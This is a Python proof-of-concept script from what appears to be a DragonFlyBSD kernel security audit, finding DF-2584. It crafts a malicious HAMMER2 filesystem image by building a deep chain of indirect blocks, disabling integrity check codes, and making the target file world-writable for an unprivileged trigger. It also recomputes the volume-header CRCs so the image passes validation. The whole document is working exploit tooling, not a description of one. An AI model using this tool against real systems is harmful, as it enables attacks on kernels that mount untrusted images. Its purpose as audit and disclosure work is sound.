⬢ DragonFlyBSD Kernel Audit
DF-2584 / craft_deep.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-2584 crafted-image patcher (self-verifying).

Turns the pristine TESTFS image (file /f at inum 1024, one 32KB DATA block at
key 0, radix 15) into an image whose /f block table is a chain of DEPTH
INDIRECT blocks (16KB each, 128 bref slots, single used entry at index 0,
methods=0 => no check codes) ending at the ORIGINAL data block.  All crafted
parent links use check-method 0x00 (HAMMER2_CHECK_NONE), so no per-entry CRC
maintenance is needed; the three volume-header CRC-32Cs are recomputed.

usage: craft_deep.py <src.img> <dst.img> <DEPTH>
"""
import struct, sys

POLY = 0x82F63B78
T = []
for i in range(256):
    c = i
    for _ in range(8):
        c = (c >> 1) ^ POLY if c & 1 else c >> 1
    T.append(c)
def crc32c(d):
    crc = 0xFFFFFFFF
    for b in d:
        crc = (crc >> 8) ^ T[(crc ^ b) & 0xFF]
    return crc ^ 0xFFFFFFFF
assert crc32c(b"123456789") == 0xE3069283

DEPTH = int(sys.argv[3])
assert 1 <= DEPTH <= 120
IMG = bytearray(open(sys.argv[1], "rb").read())

# ---- verified offsets (see walk.py output for the pristine image) ----
SROOT_METHODS_VH  = 0x200 + 1            # volheader.sroot_blockref.methods
SUPER  = 0x8800c00                       # superroot inode block
SR_FE  = SUPER + 0x200 + 0*128 + 1       # superroot u.blockset[0].methods (-> TESTFS inode)
PFS    = 0x8800800                       # TESTFS PFS-root inode block
PFS_FE = PFS + 0x200 + 0*128 + 1         # pfs u.blockset[0].methods (-> file inode)
FIL    = 0x8800000                       # file /f inode block
F_DATA = FIL + 0x200 + 0*128             # file u.blockset[0] (the DATA entry)
ORIG_ENTRY = bytes(IMG[F_DATA:F_DATA+128])

# sanity: pristine state
assert IMG[F_DATA] == 3, "file blockset[0] must be DATA (3), got %d" % IMG[F_DATA]
assert struct.unpack_from("<Q", IMG, F_DATA+8)[0] == 0, "data key must be 0"
orig_doff = struct.unpack_from("<Q", IMG, F_DATA+32)[0]
assert orig_doff & 0x3F == 15, "orig data radix expected 15 (32KB)"
assert IMG[SROOT_METHODS_VH] != 0 and IMG[SR_FE] != 0 and IMG[PFS_FE] != 0

IND_BASE = 0x10000000                    # 60 x 16KB of verified-zero space
IND_SIZE = 0x4000                        # 16384 (IND_BYTES_NOM), radix 14

def mk_entry(next_off, is_data):
    e = bytearray(ORIG_ENTRY)
    e[0] = 3 if is_data else 2           # type: DATA / INDIRECT
    e[1] = 0x00                          # methods: CHECK_NONE
    e[2] = 0                             # copyid
    e[3] = 16                            # keybits (match orig coverage)
    e[4] = 14 if not is_data else e[4]   # vradix
    e[5] = 0                             # flags
    struct.pack_into("<H", e, 6, 0)      # leaf_count
    struct.pack_into("<Q", e, 8, 0)      # key = 0
    if not is_data:
        struct.pack_into("<Q", e, 32, next_off | 14)  # data_off | radix
    # tids/embed/check: inherited from the original data entry
    return bytes(e)

# ---- build the DEPTH indirect blocks ----
offs = [IND_BASE + i*IND_SIZE for i in range(DEPTH)]
for i, off in enumerate(offs):
    blk = bytearray(IND_SIZE)
    if i == DEPTH - 1:
        blk[0:128] = mk_entry(0, is_data=True)     # last: original DATA entry
    else:
        blk[0:128] = mk_entry(offs[i+1], is_data=False)
    IMG[off:off+IND_SIZE] = blk

# ---- rewire file inode blockset[0] -> first indirect ----
IMG[F_DATA:F_DATA+128] = mk_entry(offs[0], is_data=False)

# ---- make /f world-writable so the trigger can run unprivileged ----
# (meta.mode is u32 at inode meta +0x54; low 16 bits are the unix mode)
MODE = FIL + 0x54
mode = struct.unpack_from("<I", IMG, MODE)[0] & 0xFFFF
assert mode == 0o644, "f expected mode 0644, got %o" % mode
assert IMG[FIL + 0x50] == 2, "meta.type must be 2 (regular file), got %d" % IMG[FIL+0x50]
assert struct.unpack_from("<Q", IMG, FIL + 0x58)[0] == 1024, "inum must be 1024"
struct.pack_into("<I", IMG, MODE, 0o666)

# ---- disable check codes along the modified path ----
IMG[SROOT_METHODS_VH] = 0x00   # volheader -> superroot inode block
IMG[SR_FE] = 0x00              # superroot -> TESTFS PFS-root inode block
IMG[PFS_FE] = 0x00             # PFS-root  -> file inode block

# ---- recompute volume header CRCs (identical scheme to DF-5836 pack) ----
def w32(off, v): IMG[off:off+4] = struct.pack("<I", v)
w32(0x1F8,  crc32c(bytes(IMG[0x200:0x400])))
w32(0x1FC,  crc32c(bytes(IMG[0x000:0x1FC])))
w32(0xFFFC, crc32c(bytes(IMG[0x000:0xFFFC])))

# ---- self-verify ----
def u32(off): return struct.unpack_from("<I", IMG, off)[0]
assert u32(0x1F8)  == crc32c(bytes(IMG[0x200:0x400]))
assert u32(0x1FC)  == crc32c(bytes(IMG[0x000:0x1FC]))
assert u32(0xFFFC) == crc32c(bytes(IMG[0x000:0xFFFC]))
# walk the crafted chain end-to-end
off = struct.unpack_from("<Q", IMG, F_DATA+32)[0] & ~0x3F
n = 0
while True:
    t = IMG[off]
    assert t in (2, 3), "bad type 0x%02x at 0x%x" % (t, off)
    n += 1
    if t == 3:
        assert (struct.unpack_from("<Q", IMG, off+32)[0] & ~0x3F) == (orig_doff & ~0x3F)
        break
    off = struct.unpack_from("<Q", IMG, off+32)[0] & ~0x3F
assert n == DEPTH, "walked %d, expected %d" % (n, DEPTH)
assert struct.unpack_from("<I", IMG, MODE)[0] & 0o7777 == 0o666
# control: second data entry untouched? (file has only one data block; skip)
open(sys.argv[2], "wb").write(IMG)
print("crafted OK: depth=%d indirects @0x%x..0x%x, data entry preserved "
      "(0x%x), methods disabled vh/sr/pfs, 3 CRCs verified"
      % (DEPTH, offs[0], offs[-1], orig_doff & ~0x3F))